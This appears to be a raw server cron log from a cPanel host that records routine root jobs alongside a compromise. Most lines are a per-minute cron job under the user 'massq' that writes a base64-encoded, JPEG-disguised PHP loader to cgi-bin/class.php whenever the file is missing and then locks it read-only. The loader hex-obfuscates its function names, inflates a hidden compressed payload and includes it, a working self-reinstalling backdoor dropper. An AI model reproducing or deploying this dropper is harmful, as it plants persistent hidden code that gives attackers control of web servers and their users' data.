VRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:59:01 server CROND[3640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:00:01 server CROND[3756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 05:00:01 server CROND[3757]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 05:00:01 server CROND[3758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:00:01 server CROND[3760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 05:01:01 server CROND[3919]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 05:01:01 server CROND[3920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:01:01 server run-parts(/etc/cron.hourly)[3919]: starting 0anacron
Apr 10 05:01:01 server run-parts(/etc/cron.hourly)[3932]: finished 0anacron
Apr 10 05:02:01 server CROND[3986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:03:01 server CROND[4039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:04:01 server CROND[4106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:05:01 server CROND[4172]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 05:05:01 server CROND[4173]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 10 05:05:01 server CROND[4174]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 05:05:01 server CROND[4175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 05:05:01 server CROND[4181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:06:01 server CROND[4390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:07:01 server CROND[4450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:08:01 server CROND[4507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:09:01 server CROND[4567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:09:01 server CROND[4568]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 05:10:01 server CROND[4630]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 05:10:01 server CROND[4631]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 05:10:01 server CROND[4634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:10:01 server CROND[4636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 05:11:01 server CROND[4840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
